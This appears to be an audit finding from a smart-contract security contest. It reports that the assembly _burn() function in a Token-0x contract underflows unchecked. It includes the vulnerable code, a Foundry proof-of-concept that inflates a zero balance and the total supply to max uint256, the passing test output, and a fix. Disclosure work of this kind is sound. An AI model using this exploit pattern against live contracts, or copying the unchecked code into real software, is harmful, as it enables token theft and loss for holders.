Token-0x

First Flight #54
Beginner FriendlyDeFi
100 EXP
Submission Details
Impact: high
Likelihood: high

Integer Underflow in _burn() Function Allows Unlimited Token Minting Through Balance Manipulation

Author Revealed upon completion

Root + Impact

Description

  • The _burn() function should decrease an account's balance and the total supply by the specified amount. If the account has insufficient balance, the function should revert to prevent invalid state changes.

  • The assembly implementation uses unchecked sub() operations without validating that the account balance is sufficient. When sub(0, 1) executes in assembly, it wraps around to 115792089237316195423570985008687907853269984665640564039457584007913129639935 instead of reverting. Both the account balance and total supply underflow simultaneously, granting the attacker effective control of unlimited tokens.

function _burn(address account, uint256 value) internal {
assembly ("memory-safe") {
if iszero(account) {
mstore(0x00, shl(224, 0x96c6fd1e))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
let ptr := mload(0x40)
let balanceSlot := _balances.slot
let supplySlot := _totalSupply.slot
let supply := sload(supplySlot)
@> sstore(supplySlot, sub(supply, value)) // No underflow check
mstore(ptr, account)
mstore(add(ptr, 0x20), balanceSlot)
let accountBalanceSlot := keccak256(ptr, 0x40)
let accountBalance := sload(accountBalanceSlot)
@> sstore(accountBalanceSlot, sub(accountBalance, value)) // No underflow check
}
}

Risk

Likelihood:

  • The burn() function is publicly accessible through the Token contract wrapper, allowing any user to call it on any address without restrictions.

  • The exploit requires a single transaction with minimal gas cost and no preconditions, making it trivially executable by any attacker within seconds of contract deployment.

Impact:

  • Complete token supply inflation to maximum uint256 value destroys all token economic value, making existing holder balances worthless through infinite dilution.

  • Attacker gains unlimited tokens to dump on any DEX or protocol, stealing all liquidity and causing immediate protocol insolvency.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import {Test, console} from "forge-std/Test.sol";
import {Token} from "./Token.sol";
contract BurnUnderflowTest is Test {
Token public token;
address public attacker;
function setUp() public {
token = new Token();
attacker = makeAddr("attacker");
}
function test_BurnUnderflowInflatesTotalSupply() public {
// Initial state: zero total supply
console.log("Initial totalSupply:", token.totalSupply());
assertEq(token.totalSupply(), 0);
// Attacker burns 1 wei without having any balance
// This causes sub(0, 1) = type(uint256).max in assembly
vm.prank(attacker);
token.burn(attacker, 1);
// Total supply underflows to maximum value
uint256 finalSupply = token.totalSupply();
console.log("Final totalSupply after underflow:", finalSupply);
// Verify underflow occurred
assertEq(finalSupply, type(uint256).max);
console.log("Vulnerability confirmed: Total supply inflated to max uint256");
}
function test_BurnUnderflowInflatesAccountBalance() public {
// Attacker account starts with zero balance
console.log("Initial attacker balance:", token.balanceOf(attacker));
assertEq(token.balanceOf(attacker), 0);
// Burn 1 wei from zero balance
vm.prank(attacker);
token.burn(attacker, 1);
// Account balance underflows
uint256 finalBalance = token.balanceOf(attacker);
console.log("Final attacker balance after underflow:", finalBalance);
assertEq(finalBalance, type(uint256).max);
console.log("Vulnerability confirmed: Account balance inflated to max uint256");
}
}

Result:

forge test --match-path test/BurnUnderflow.t.sol -vvv
[⠒] Compiling...
[⠊] Compiling 1 files with Solc 0.8.31
[⠒] Solc 0.8.31 finished in 288.39ms
Compiler run successful with warnings:
Warning (3805): This is a pre-release compiler version, please do not use it in production.
Ran 2 tests for test/BurnUnderflow.t.sol:BurnUnderflowTest
[PASS] test_BurnUnderflowInflatesAccountBalance() (gas: 66584)
Logs:
Initial attacker balance: 0
Final attacker balance after underflow: 115792089237316195423570985008687907853269984665640564039457584007913129639935
Vulnerability confirmed: Account balance inflated to max uint256
[PASS] test_BurnUnderflowInflatesTotalSupply() (gas: 64403)
Logs:
Initial totalSupply: 0
Final totalSupply after underflow: 115792089237316195423570985008687907853269984665640564039457584007913129639935
Vulnerability confirmed: Total supply inflated to max uint256
Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 2.46ms (190.03µs CPU time)
Ran 1 test suite in 44.74ms (2.46ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)

Recommended Mitigation

Add a balance sufficiency check before performing the subtraction operations. This prevents underflow by reverting when the account balance is less than the burn amount, matching the behavior of the _transfer() function.

function _burn(address account, uint256 value) internal {
assembly ("memory-safe") {
if iszero(account) {
mstore(0x00, shl(224, 0x96c6fd1e))
mstore(add(0x00, 4), 0x00)
revert(0x00, 0x24)
}
let ptr := mload(0x40)
let balanceSlot := _balances.slot
let supplySlot := _totalSupply.slot
- let supply := sload(supplySlot)
- sstore(supplySlot, sub(supply, value))
mstore(ptr, account)
mstore(add(ptr, 0x20), balanceSlot)
let accountBalanceSlot := keccak256(ptr, 0x40)
let accountBalance := sload(accountBalanceSlot)
+
+ // Check account has sufficient balance before burning
+ if lt(accountBalance, value) {
+ mstore(0x00, shl(224, 0xe450d38c))
+ mstore(add(0x00, 4), account)
+ mstore(add(0x00, 0x24), accountBalance)
+ mstore(add(0x00, 0x44), value)
+ revert(0x00, 0x64)
+ }
+
+ let supply := sload(supplySlot)
+ sstore(supplySlot, sub(supply, value))
sstore(accountBalanceSlot, sub(accountBalance, value))
}
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!